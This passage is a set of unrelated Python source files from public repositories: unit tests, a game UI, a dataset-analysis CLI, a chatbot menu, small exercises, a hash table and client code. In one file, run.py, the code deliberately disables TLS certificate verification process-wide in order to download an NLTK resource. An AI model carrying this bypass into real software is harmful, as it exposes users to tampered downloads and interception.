test_no_log_dir(self):\n log_dir = pathlib.Path('no_dir')\n self.assertRaises(FileNotFoundError, la.get_latest_log_file, log_dir)\n\n\nclass GetReportPathTestCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.log_file = la.LogFile(pathlib.Path('log/nginx-access-ui.log-20170630.gz'),\n date(2017, 6, 30), '.gz')\n\n def test_ok(self):\n report_dir = pathlib.Path('reports')\n log_file = la.get_report_path(self.log_file, report_dir)\n self.assertEqual(log_file, pathlib.Path('reports/report-2017.06.30.html'))\n\n def test_no_dir(self):\n report_dir = pathlib.Path('no_dir')\n self.assertRaises(FileNotFoundError, la.get_report_path, self.log_file, report_dir)\n\n\nclass ParseLineTestCase(unittest.TestCase):\n def test_ok(self):\n line = '1.196.116.32 - - [29/Jun/2017:03:50:22 +0300] ' \\\n '\"GET /api/v2/banner/25019354 HTTP/1.1\" 200 927 \"-\" ' \\\n '\"Lynx/2.8.8dev.9 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.10.5\" \"-\" ' \\\n '\"1498697422-2190034393-4708-9752759\" \"dc7161be3\" 0.390'\n request = la.parse_line(line)\n self.assertEqual(request, la.LogLine('GET /api/v2/banner/25019354 HTTP/1.1', 0.390))\n\n def test_bad_line(self):\n line = '1.194.135.240 - - [29/Jun/2017:10:15:45 +0300] ' \\\n '\"HEAD /slots/3938/ HTTP/1.1\" 302 0 \"-\" ' \\\n '\"Microsoft Office Excel 2013\" \"-\" ' \\\n '\"1498720545-244168387-4707-10016820\" \"-\" 0.ABC0'\n request = la.parse_line(line)\n self.assertIsNone(request)\n\n\nclass ExtractInfoFromFileTestCase(unittest.TestCase):\n def test_plain(self):\n log_file = la.LogFile(pathlib.Path('log/test_log'), date(2019, 1, 1), ext='')\n error_percent = 10\n requests = la.extract_info_from_file(log_file, error_percent)\n self.assertEqual(requests, {\n 'GET /api/v2/banner/25019354 HTTP/1.1': [0.39],\n 'GET /api/1/photogenic_banners/list/?server_name=WIN7RB4 HTTP/1.1': [0.133],\n 'GET /api/v2/banner/16852664 HTTP/1.1': [0.199],\n 'GET /api/v2/slot/4705/groups HTTP/1.1': [0.704],\n 'GET /api/v2/internal/banner/24294027/info HTTP/1.1': [0.146]\n })\n\n def test_zip(self):\n log_file = la.LogFile(pathlib.Path('log/test_log.gz'), date(2019, 1, 1), ext='.gz')\n error_percent = 10\n requests = la.extract_info_from_file(log_file, error_percent)\n self.assertEqual(requests, {\n 'GET /api/v2/banner/25019354 HTTP/1.1': [0.39],\n 'GET /api/1/photogenic_banners/list/?server_name=WIN7RB4 HTTP/1.1': [0.133],\n 'GET /api/v2/banner/16852664 HTTP/1.1': [0.199],\n 'GET /api/v2/slot/4705/groups HTTP/1.1': [0.704],\n 'GET /api/v2/internal/banner/24294027/info HTTP/1.1': [0.146]\n })\n\n def test_error_limit(self):\n log_file = la.LogFile(pathlib.Path('log/test_log_error'), date(2019, 1, 1), ext='')\n error_percent = 10\n self.assertRaises(ValueError, la.extract_info_from_file, log_file, error_percent)\n\n\nclass PrepareReportDataTestCase(unittest.TestCase):\n def test_ok(self):\n requests = {\n 'url1': [0.39, 0.24, 0.51],\n 'url2': [0.45, 0.11],\n 'url3': [0.4],\n }\n report_size = 2\n report_data = la.prepare_report_data(requests, report_size)\n self.assertEqual(report_data, [\n {\n 'url': 'url1',\n 'count': 3,\n 'count_perc': 50.0,\n 'time_sum': 1.14,\n 'time_perc': 54.286,\n 'time_avg': 0.38,\n 'time_max': 0.51,\n 'time_med': 0.39\n },\n {\n 'url': 'url2',\n 'count': 2,\n 'count_perc': 33.333,\n 'time_sum': 0.56,\n 'time_perc': 26.667,\n 'time_avg': 0.28,\n 'time_max': 0.45,\n 'time_med': 0.28\n }\n ])\n\n\nclass CreateReportTestCase(unittest.TestCase):\n def test_ok(self):\n report_data = [\n {\n 'url': 'url1',\n 'count': 3,\n 'count_perc': 50.0,\n 'time_sum': 1.14,\n 'time_perc': 54.286,\n 'time_avg': 0.38,\n 'time_max': 0.51,\n 'time_med': 0.39\n },\n {\n 'url': 'url2',\n 'count': 2,\n 'count_perc': 33.333,\n 'time_sum': 0.56,\n 'time_perc': 26.667,\n 'time_avg': 0.28,\n 'time_max': 0.45,\n 'time_med': 0.28\n }\n ]\n report_dir = pathlib.Path('reports')\n log_date = date(2019, 1, 1)\n report_path = pathlib.Path('reports/report-2019.01.01.html')\n\n path = la.create_report(report_data, report_dir, log_date)\n self.assertEqual(path, report_path)\n\n path.unlink()\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"dmryutov/otus-python-0319","sub_path":"hw01/log_analyzer/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32200330614","text":"from enum import Enum\nfrom typing import Dict, List, Callable, Optional, Any\n\nimport arcade\n\nfrom wonderland.ui.config import FONT\nfrom wonderland.ui.ui_element_base import UIElement, UIContainer, Clickable, Hoverable, Rectangle\n\n\nclass ButtonState(Enum):\n NORMAL = 1\n HOVER = 2\n PRESSED = 3\n INACTIVE = 4\n\n\nclass Button(UIElement, Rectangle, Clickable, Hoverable):\n \"\"\"\n A clickable button with text.\n\n \"\"\"\n\n font: str = FONT\n font_size: int = 16\n color: Dict[ButtonState, Dict[str, arcade.arcade_types.Color]] = {\n ButtonState.NORMAL: {\n \"text\": arcade.color.BLACK,\n \"background\": arcade.color.BEIGE,\n \"outline\": arcade.color.DARK_VANILLA,\n },\n ButtonState.HOVER: {\n \"text\": arcade.color.BALL_BLUE,\n \"background\": arcade.color.BEIGE,\n \"outline\": arcade.color.DARK_VANILLA,\n },\n ButtonState.PRESSED: {\n \"text\": arcade.color.BLACK,\n \"background\": arcade.color.DARK_VANILLA,\n \"outline\": arcade.color.BEIGE,\n },\n ButtonState.INACTIVE: {\n \"text\": arcade.color.GRAY,\n \"background\": arcade.color.DARK_GRAY,\n \"outline\": arcade.color.GRAY,\n },\n }\n\n def __init__(\n self,\n text: str,\n center_x: float,\n center_y: float,\n width: float = None,\n height: float = None,\n scale: float = 1.0,\n on_click: Callable[[], None] = None,\n ) -> None:\n self.text: str = text\n self.center_x = center_x\n self.center_y = center_y\n self.width = width if width is not None else len(text) * scale * self.font_size * 0.6\n self.height = height if height is not None else scale * self.font_size * 1.4\n self.scale: float = scale\n self._on_click: Callable[[], None] = on_click if on_click is not None else lambda: None\n self.state: ButtonState = ButtonState.NORMAL\n self.background: Dict[ButtonState, arcade.ShapeElementList] = {\n state: arcade.ShapeElementList() for state in ButtonState\n }\n for state in ButtonState:\n self.background[state].append(\n arcade.create_rectangle_filled(\n center_x=center_x,\n center_y=center_y,\n width=self.width,\n height=self.height,\n color=self.color[state][\"background\"],\n )\n )\n self.background[state].append(\n arcade.create_rectangle_outline(\n center_x=center_x,\n center_y=center_y,\n width=self.width,\n height=self.height,\n color=self.color[state][\"outline\"],\n border_width=2.0 * self.scale,\n )\n )\n\n def draw(self) -> None:\n self.background[self.state].draw()\n arcade.draw_text(\n text=self.text,\n start_x=self.center_x,\n start_y=self.center_y,\n color=self.color[self.state][\"text\"],\n font_size=int(self.scale * self.font_size),\n font_name=self.font,\n anchor_y=\"center\",\n anchor_x=\"center\",\n )\n\n def set_on_click(self, on_click: Callable[[], None]):\n self._on_click = on_click\n\n def on_click(self) -> None:\n if not (self.state == ButtonState.INACTIVE or self.state == ButtonState.PRESSED):\n self.state = ButtonState.PRESSED\n self._on_click()\n elif self.state == ButtonState.PRESSED:\n self.state = ButtonState.NORMAL\n self._on_click()\n\n def deactivate(self):\n self.state = ButtonState.INACTIVE\n\n def activate(self):\n self.state = ButtonState.NORMAL\n\n def on_hover(self):\n if not (self.state == ButtonState.INACTIVE or self.state == ButtonState.PRESSED):\n self.state = ButtonState.HOVER\n\n def on_hover_end(self):\n if self.state == ButtonState.HOVER:\n self.state = ButtonState.NORMAL\n\n\nclass ButtonChooser(UIContainer):\n def __init__(\n self,\n options: Dict[str, Any],\n center_x: float,\n center_y: float,\n width: float,\n on_choice: Callable[[Any], None] = None,\n on_choice_reset: Callable[[], None] = None,\n ):\n self._on_choice: Callable[[Any], None] = on_choice if on_choice is not None else lambda option: None\n self._on_choice_reset: Callable[[], None] = on_choice_reset if on_choice_reset is not None else lambda: None\n self._choice_taken: bool = False\n self._choice: Any = None\n self.buttons: List[Button] = list()\n for i, (text, option) in enumerate(options.items()):\n button = Button(\n text=text,\n center_x=(center_x + width * (i / (len(options) - 1) - 0.5) if len(options) > 1 else center_x),\n center_y=center_y,\n width=width / len(options) - 10.0,\n scale=1.3,\n )\n self._assign_on_click(button, option)\n self.buttons.append(button)\n self.ui_elements.append(button)\n\n @property\n def choice_taken(self) -> bool:\n return self._choice_taken\n\n @property\n def choice(self) -> Any:\n return self._choice\n\n def set_on_choice(self, on_choice: Callable[[Any], None]) -> None:\n self._on_choice = on_choice\n\n def set_on_choice_reset(self, on_choice_reset: Callable[[], None]) -> None:\n self._on_choice_reset = on_choice_reset\n\n def _assign_on_click(self, button: Button, option: Any) -> None:\n button.set_on_click(lambda: self._on_button_pressed(button, option))\n\n def _on_button_pressed(self, button_pressed: Button, option: Any) -> None:\n if not self.choice_taken:\n for button in self.buttons:\n if button is not button_pressed:\n button.deactivate()\n self._choice = option\n self._on_choice(option)\n self._choice_taken = True\n else:\n for button in self.buttons:\n button.activate()\n self._choice = None\n self._on_choice_reset()\n self._choice_taken = False\n","repo_name":"pxlbrain-games/wonderland","sub_path":"wonderland/ui/buttons.py","file_name":"buttons.py","file_ext":"py","file_size_in_byte":6308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21506157604","text":"import sys\nimport argparse\nfrom pathlib import Path\nfrom typing import Optional\nfrom preprocessor import get_dataset_preprocessor, DatasetPreprocessorNotFoundError\nfrom metric_analyzer import get_dataset_processor, DatasetNotFoundError\n\n\ndef preprocess_dataset(dataset_name: str, dataset_path: str):\n try:\n dataset_path = Path(dataset_path)\n dataset_preprocessor = get_dataset_preprocessor(dataset_name)(dataset_path)\n except DatasetPreprocessorNotFoundError as err:\n print(err.message, file=sys.stderr)\n return\n\n try:\n dataset_preprocessor.preprocess()\n except Exception as err:\n print(f'Can\\'t process dataset {dataset_name}, possibly invalid path to the dataset was provided.\\n'\n f'Please check the description of the specified dataset preprocessor.')\n print(f'Error: {err}', file=sys.stderr)\n return\n\n\ndef parse_preprocess_command():\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset', choices=['aesw', 'lang8', 'fce', 'jfleg'], type=str, required=True,\n help='dataset name')\n parser.add_argument('--dataset_path', type=str, required=True,\n help='a path to the directory with specified dataset')\n args = parser.parse_args(sys.argv[2:])\n preprocess_dataset(args.dataset, args.dataset_path)\n\n\ndef process_dataset(dataset_name: str, only_edited: bool, sample_rate: float, extract_edits: bool):\n try:\n dataset_processor = get_dataset_processor(dataset_name, only_edited, sample_rate)\n except DatasetNotFoundError as err:\n print(err.message, file=sys.stderr)\n return\n if extract_edits:\n dataset_processor.extract_edits()\n else:\n dataset_processor.compute_metrics()\n\n\ndef parse_analyze_command():\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset', choices=['aesw', 'lang8', 'fce', 'jfleg', 'papeeria'], type=str, required=True,\n help='dataset name')\n parser.add_argument('--only-edited', action='store_true',\n help='use only pairs of sentences with edits')\n parser.add_argument('--sample-rate', type=float, default=1.0,\n help='use only pairs of sentences with edits')\n parser.add_argument('--extract-edits', action='store_true',\n help='extract sentences with substitutions')\n args = parser.parse_args(sys.argv[2:])\n process_dataset(args.dataset, args.only_edited, args.sample_rate, args.extract_edits)\n\n\ndef get_action_type():\n if len(sys.argv) == 1:\n raise NameError()\n action_type = sys.argv[1]\n if action_type not in {'preprocess', 'analyze'}:\n raise NameError()\n return action_type\n\n\ndef main():\n try:\n action_type = get_action_type()\n except NameError:\n print(\n 'usage: run.py [-h] {preprocess,analyze}\\n'\n ' preprocess\\n'\n ' --dataset {aesw,lang8,fce,jfleg}\\n'\n ' --dataset_path DATASET_PATH\\n'\n ' analyze\\n'\n ' --dataset {aesw,lang8,fce,jfleg,papeeria}\\n'\n ' [--only-edited]\\n'\n ' [--sample-rate RATE]\\n'\n ' [--extract-subst]\\n'\n )\n return\n\n actions = {\n 'preprocess': parse_preprocess_command,\n 'analyze': parse_analyze_command\n }\n actions[action_type]()\n\n\ndef install_dependencies():\n try:\n from nltk import word_tokenize\n word_tokenize('Hello world!')\n except:\n import ssl\n try:\n _create_unverified_https_context = ssl._create_unverified_context\n except AttributeError:\n pass\n else:\n ssl._create_default_https_context = _create_unverified_https_context\n try:\n import nltk\n print('Installing nltk.punkt')\n nltk.download('punkt', raise_on_error=True)\n except:\n print('Unable to download nltk.punkt, check your internet connection', file=sys.stderr)\n return False\n return True\n\n\nif __name__ == '__main__':\n if install_dependencies():\n main()\n","repo_name":"AntonYermilov/gec-dataset-analyzer","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74334155879","text":"import unittest\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\n\nclass TestDescriptiveStats(unittest.TestCase):\n\n def setUp(self):\n # sample salary dataset\n dataset = pd.read_csv('C:/Users/justo/module1dataset/ds_salaries.csv', nrows=5)\n self.column_names = ['work_year', 'salary', 'salary_in_usd', 'remote_ratio']\n self.selected_data = dataset[self.column_names]\n\n def test_column_properties(self):\n # test numeric type, missing values, and unique values\n expected_counts = [5, 5, 5, 5]\n expected_missing_values = [0, 0, 0, 0]\n expected_unique_values = [1, 5, 5, 1]\n\n for i, column in enumerate(self.column_names):\n selected_column = self.selected_data[column]\n with self.subTest(column=column):\n self.assertTrue(pd.api.types.is_numeric_dtype(selected_column))\n self.assertEqual(selected_column.count(), expected_counts[i])\n self.assertEqual(selected_column.isnull().sum(), expected_missing_values[i])\n self.assertEqual(selected_column.nunique(), expected_unique_values[i])\n\n def test_causation_analysis(self):\n # test for causation analysis for different combinations of independent and dependent variables\n combinations = [('work_year', 'salary'), ('salary_in_usd', 'remote_ratio')]\n\n for independent_var, dependent_var in combinations:\n causation_results = self.selected_data[[independent_var, dependent_var]].dropna()\n X = sm.add_constant(causation_results[independent_var])\n y = causation_results[dependent_var]\n\n try:\n model = sm.OLS(y, X).fit()\n self.assertIsNotNone(model.summary())\n except Exception as e:\n self.fail(f\"Error performing causation analysis for {independent_var} -> {dependent_var}: {str(e)}\")\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"justonslc/MachineLearning","sub_path":"venv/unittests.py","file_name":"unittests.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10521588429","text":"import re\nimport buttons\nimport faq_menu, texts\n\ndef main_options(bot, recipient_id, recipient_message, account):\n if re.match(r'(?i)(.*((FAQ)|(поширені питання)).*)', recipient_message):\n bot.send_raw({\"recipient\": {\"id\": recipient_id}, \"messaging_type\": \"RESPONSE\", \"message\":buttons.faq_menu})\n elif re.match(r'(?i)(.*((Personal account)|(особ.*кабінет)).*)', recipient_message):\n if account:\n bot.send_raw({\"recipient\": {\"id\": recipient_id}, \"message\": buttons.control_panel})\n else:\n bot.send_raw({\"recipient\": {\"id\": recipient_id}, \"messaging_type\": \"RESPONSE\", \"message\": buttons.share_phone})\n elif re.match(r'(?i)(.*((help)|(довідка)|(допомога)).*)', recipient_message):\n bot.send_text_message(recipient_id, texts.help)\n elif re.match(r'(?i)(.*((feedback)|((зв\\'язок)|(написати)|(зв\\'язатися).*викладач)).*)', recipient_message):\n bot.send_text_message(recipient_id, \"Задай питання, яке тебе цікавить викладачу нижче:\")\n else:\n faq_menu.faq_options(bot, recipient_id, recipient_message)","repo_name":"denisrogovoy/aixosfacebookmessengerbot","sub_path":"main_menu.py","file_name":"main_menu.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43002351029","text":"import gi\n\ngi.require_version('Gtk', '3.0')\nfrom .LocalSearch import LocalSearch\nfrom .OnlineSearch import OnlineSearch\nimport threading\n\n\nclass SearchCommon:\n def __init__(self, ui):\n self.local_searcher = LocalSearch()\n self.online_searcher = OnlineSearch()\n self.ui = ui\n self.local_list = self.ui.get_object('LocalListBox')\n self.local_list.show()\n self.online_list = self.ui.get_object('OnlineListBox')\n self.search_entry = self.ui.get_object('SearchEntry')\n self.search_entry.connect('search_changed', self.search_changed)\n self.local_searcher.connect('result-found', self.result_found)\n self.search_thread = threading.main_thread()\n\n def result_found(self, local_searcher, path, file):\n print('result_found' + str(file) + str(path))\n self.local_searcher.append_to_list(self.local_list, (path, file))\n\n def search_changed(self, search_entry):\n self.local_searcher.local_search(search_entry.get_text())\n print('search_changed_signal')\n","repo_name":"theawless/Karya","sub_path":"karya/plugins/search/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"3638566976","text":"# Write a program that prompts for a string. Make sure the string is 10 or more characters in length. The\n# program will then check the entered string for the occurrence of the substring 'code-', at the beginning of the\n# string. If you find the 'code-' followed by 2 digits, then print 'code-??', where ?? are the characters at position\n# 8th and 9th of the string. Otherwise (if the regex pattern is not found), print the last two characters of the\n# string\n\nimport re;\n\nwhile True:\n text = input('Please enter a string longer than 10 characters: ');\n if len(text) > 10:\n break\n\nstringsFound = re.search('^code-\\d\\d', text);\nif str(stringsFound) == 'None':\n print(text[-2:])\nelse:\n print(stringsFound)","repo_name":"JeffKingsbury/Python_courses_JAC","sub_path":"Python 2/class 5/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14732207676","text":"import sys\n\nsys.stdin = open(\"section4/4.txt\", \"r\")\n\nM, H = map(int, input().split())\n\n# 1 2 4 8 9\n\nk = []\nfor _ in range(M):\n T = int(input())\n k.append(T)\n\nk.sort()\n\n\ndef check(mid):\n cnt = 1\n pivot = k[0]\n for x in range(1, M):\n if k[x] - pivot >= mid:\n cnt += 1\n pivot = k[x]\n return cnt\n\n\nlt = 1\nrt = k[M - 1] - k[0]\n\nres = 0\n\nwhile lt <= rt:\n mid = (lt + rt) // 2\n if check(mid) >= H:\n res = mid\n # 최적화된 해를 찾아야 하므로 작은쪽에서 올린다.\n lt = mid + 1\n else:\n rt = mid - 1\n\nprint(res)","repo_name":"talentceffort/python-algorithm","sub_path":"section4/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20469488026","text":"from django.conf.urls import url\nfrom views import *\n\nurlpatterns = [\n url(r'^$', index,name='index'),\n url(r'gift_codes$', gift_codes,name='gift_codes'),\n url(r'favorites$', favorites,name='favorites'),\n url(r'settings$', settings,name='settings'),\n url(r'cc_delete/(?P<cc_id>\\d+)$', cc_delete,name='cc_delete'),\n url(r'cc_add$', cc_add,name='cc_add'),\n url(r'cc_add_form$', cc_add_form,name='cc_add_form'),\n ]","repo_name":"sozo2/stubhub_clone","sub_path":"apps/my_hub/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"25673699292","text":"class Hash_Tabel:\r\n def __init__(self):\r\n self.size = 10\r\n self.Hash_Map = [None] * self.size\r\n #self.Hash_Map = [[] for _ in range(0,self.size)]\r\n #self.Hash_Map = [None] * self.size\r\n\r\n print(self.Hash_Map)\r\n def get_Hash(self,key):\r\n Key_Number = 0\r\n for char in str(key):\r\n Key_Number = Key_Number + ord(char)\r\n return Key_Number % self.size\r\n\r\n def add(self,key,value):\r\n key_hash = self.get_Hash(key)\r\n key_value = [key,value]\r\n if self.Hash_Map[key_hash] is None:\r\n self.Hash_Map[key_hash] = list([key_value])\r\n return True\r\n else:\r\n for k in self.Hash_Map[key_hash]:\r\n if k[0] == key:\r\n k[1] = value\r\n return True\r\n self.Hash_Map[key_hash].append([key_value])\r\n #return True\r\n def get_Hash_Index(self,key):\r\n key_hash = self.get_Hash(key)\r\n if self.Hash_Map[key_hash] is not None:\r\n for inner_key in self.Hash_Map[key_hash]:\r\n if inner_key[0] == key:\r\n return inner_key[1]\r\n #return False\r\n\r\n def delete_Key(self,key):\r\n hash_key = self.get_Hash(key)\r\n if self.Hash_Map[hash_key] is None:\r\n return False\r\n #if self.Hash_Map[hash_key] is not None:\r\n\r\n\r\n for inner_key in range(0,len(self.Hash_Map[hash_key])):\r\n if self.Hash_Map[hash_key][inner_key][0] == key:\r\n self.Hash_Map[hash_key].pop(inner_key)\r\n return True\r\n\r\n def display(self):\r\n print(\"-------------Values-------\")\r\n for item in self.Hash_Map:\r\n if item is not None:\r\n print(str(item))\r\n\r\n\r\nobj = Hash_Tabel()\r\nobj.add(\"Prashanth\",\"111\")\r\nobj.add(\"Vasanthkumar\",\"112\")\r\nobj.add(\"Sibi\",\"113\")\r\nobj.add(\"Anthonay\",\"114\")\r\nobj.add(\"aaa\",\"111\")\r\nobj.add(\"bbb\",\"112\")\r\n\r\nobj.add(\"Mukundans\",\"11511\")\r\nobj.add(\"Mukundans\",\"116\")\r\nobj.add(\"Mukundans\",\"116444\")\r\nobj.add(\"Vasanthkumar\",\"112222\")\r\nobj.display()\r\nprint('-------------------------After Deletion---------------------------')\r\nobj.delete_Key(\"Sibi\")\r\nobj.display()","repo_name":"pnayak333/Hash_oher_programs","sub_path":"Hash_Map_Class.py","file_name":"Hash_Map_Class.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70321361961","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport pandas as pd\nimport numpy as np\n\n#install oauth2client and gspread using pip install\n#before run this program you must enable google drive and google sheet api on your google cloud console platform\n#create a new project as your wish\n#navigate to APIs&Service Dashboard\n#On top left, enable APIS (google drive and google sheet)\n#click Credentials panel\n#click Create credentials-->Service account key-->New service account-->name it-->select a role (usually Project-->Editor)\n#select JSON key type, and click Create\n#The Json credential file is created\n#open the file using a text editor, find the line starting with \"client_email\", and copy the email after the key word\n#Go you your google sheet platform, open one sheet file you want to get access to, click share, and paste the email address you just copy\n#Now you are ready to run the following scripts\n\ndef from_google_sheet_to_txt(g_file_name=\"persons\",save_file=[\"file.txt\"],sheet_tag=[\"sheet1\"],jason_credential_file=\"Worship-arrangement-DD-1005ad7eaf1f.json\"):\n if type(sheet_tag)!=type([]):\n sheet_tag=[sheet_tag]\n if type(save_file)!=type([]):\n save_file=[save_file]\n google_sheet_file_name=g_file_name#name of your google sheet file\n which_sheet=sheet_tag#tag name of the sheet, you may have several sheets\n jason_key_file=jason_credential_file#credential info in json format you saved\n #scope for google sheet and google drive api (it may change, just google it if so)\n scope=['https://www.googleapis.com/auth/spreadsheets','https://www.googleapis.com/auth/drive']\n credentials=ServiceAccountCredentials.from_json_keyfile_name(jason_key_file,scope)\n gc=gspread.authorize(credentials)\n table=gc.open(google_sheet_file_name.decode(\"utf8\"))\n wks_list=[table.worksheet(each) for each in sheet_tag]\n for ii in range(len(wks_list)):\n wks=wks_list[ii]\n col_lables=wks.row_values(1)\n values=np.array(col_lables)[np.newaxis,:][0:0]\n for i in range(2,wks.row_count+1):\n if wks.row_values(i)!=[]:\n values=np.append(values,np.array(wks.row_values(i))[np.newaxis,:],axis=0)\n else:\n break\n #table information in pandas dataframe format\n table_df=pd.DataFrame(values,columns=col_lables)\n table_df.to_csv(path_or_buf=save_file[ii],sep=\"\\t\",encoding=\"utf8\",index=False)\n","repo_name":"jackey-qiu/message_reminder","sub_path":"access_google_sheet.py","file_name":"access_google_sheet.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71157828200","text":"import requests\n\nGAME_REQUEST_HEADER = {\n \"X-Unity-Version\": \"2018.4.27f1\",\n \"Accept-Encoding\": \"gzip\"\n }\n\ndef request_manifest(version: str) -> bytes | None:\n url = f\"https://asset-starlight-stage.akamaized.net/dl/{version}/manifests/Android_AHigh_SHigh\"\n resp = requests.get(url, headers=GAME_REQUEST_HEADER)\n resp.raise_for_status()\n return resp.content\n\ndef request_db(hash):\n url = f\"https://asset-starlight-stage.akamaized.net/dl/resources/Generic/{hash[:2]}/{hash}\"\n resp = requests.get(url, headers=GAME_REQUEST_HEADER)\n resp.raise_for_status()\n return resp.content\n\n\nif __name__ == \"__main__\":\n man = request_manifest(\"10097000\")\n print(f\"manifest size is {len(man)} bytes\")","repo_name":"hadisiswanto62/cgutils-py","sub_path":"data_updater/network/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35711813675","text":"import sys\nimport pygame\n# from part2.alien_invasion.practise.MyShip import MyShip\n\ndef check_move_down(event, myShip, mySettings):\n if event.key == pygame.K_RIGHT:\n myShip.moving_right = True\n if event.key == pygame.K_LEFT:\n myShip.moving_left = True\ndef check_move_up(event, myShip, mySettings):\n if event.key == pygame.K_RIGHT:\n myShip.moving_right = False\n if event.key == pygame.K_LEFT:\n myShip.moving_left = False\ndef check_event(myShip, mySettings):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.KEYDOWN:\n check_move_down(event, myShip, mySettings)\n if event.type == pygame.KEYUP:\n check_move_up(event, myShip, mySettings)\ndef set_backcolor(myShip, screen, mySettings):\n\n screen.fill(mySettings.bg_color)\n\n myShip.blitme()\n # 让最近绘制的屏幕可见\n pygame.display.flip()\n\n\n","repo_name":"spddhm/python","sub_path":"part2/alien_invasion/practise/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74742223078","text":"import http.client\nfrom http.server import HTTPStatus\nimport json\nimport netaddr\nfrom PyQt5.QtCore import QObject, pyqtSignal, pyqtProperty, pyqtSlot\n\n\nclass ServerComm(QObject):\n CONTENT_LENGTH_STR = \"Content-Length\"\n CONTENT_TYPE_STR = \"Content-Type\"\n APP_JSON_STR = \"application/json\"\n AUTH_STR = \"Authorization\"\n\n serverConnectionChanged = pyqtSignal()\n\n def __init__(self, parent: QObject):\n super().__init__(parent)\n self._server_conn = None\n self._auth = None\n\n @pyqtSlot(str, int)\n def connect_to_server(self, host: str, port: int):\n addr = netaddr.IPAddress(host, flags=netaddr.ZEROFILL).ipv4()\n print(\"Trying to connect to server {}:{}\".format(addr, port))\n self._server_conn = http.client.HTTPConnection(str(addr), port, timeout=10)\n self._server_conn.connect()\n if self._server_conn.sock is None:\n print('Not Connected!')\n else:\n print('Connected!')\n self.serverConnectionChanged.emit()\n\n @pyqtProperty('bool')\n def active_conn(self) -> bool:\n return self._server_conn.sock is not None\n\n def _get_default_header(self, content_length: int):\n return {self.CONTENT_TYPE_STR: self.APP_JSON_STR,\n self.AUTH_STR: self._auth,\n self.CONTENT_LENGTH_STR: content_length}\n\n def empty_response(self, response_bytes) -> bool:\n return response_bytes == b\"\" or response_bytes is None or len(response_bytes) == 0\n\n def _request_and_response(self, command: str, endpoint: str, json_msg: dict = None) -> [int, dict]:\n msg = None if json_msg is None else json.dumps(json_msg)\n headers = self._get_default_header(len(msg) if msg is not None else 0)\n self._server_conn.request(command, endpoint, msg, headers)\n response = self._server_conn.getresponse()\n response_bytes = response.read()\n # print(b\"BYTES: \" + response_bytes)\n response_json = None if response.code != HTTPStatus.OK or self.empty_response(response_bytes) else json.loads(response_bytes.decode())\n return response.code, response_json\n\n def get_new_login(self, name: str) -> int:\n msg_body = {\"player_name\": name}\n json_msg = json.dumps(msg_body)\n headers = {self.CONTENT_TYPE_STR: self.APP_JSON_STR,\n self.CONTENT_LENGTH_STR: len(json_msg)}\n self._server_conn.request('POST', '/login', json_msg, headers)\n response = self._server_conn.getresponse()\n if response.code != HTTPStatus.OK:\n print(\"Fail to get login\")\n return None\n else:\n json_response = json.loads(response.read().decode())\n self._auth = json_response[\"session\"]\n player_id = json_response[\"player_id\"]\n return player_id\n\n def get_players(self) -> dict:\n code, response = self._request_and_response('GET', '/players')\n if code != HTTPStatus.OK:\n print(\"Falha ao pegar jogadores ativos\")\n return None\n else:\n if int(response[\"players_count\"]) > 0:\n return response[\"players\"]\n else:\n return None\n\n def request_game(self, player_id, invite_id) -> bool:\n code, response = self._request_and_response('POST', '/requestGame', {\n \"invitor_id\": player_id,\n \"inviting_id\": invite_id\n })\n return code != HTTPStatus.OK\n\n def check_invitation(self, player_id: int) -> [int, str]:\n code, response = self._request_and_response('GET', '/invitation', {\n \"player_id\": player_id\n })\n if code != HTTPStatus.OK:\n return None, None\n else:\n return int(response[\"invitor\"]['id']), response[\"invitor\"]['name']\n\n def check_active_session(self, player_id: int) -> dict:\n code, response = self._request_and_response('GET', '/gameSessionActive', {\n \"player_id\": player_id\n })\n if code != HTTPStatus.OK or response is None:\n return None\n else:\n print(type(response))\n print(response)\n return response[\"session\"]\n\n def quit_session(self, player_id: int) -> dict:\n code, response = 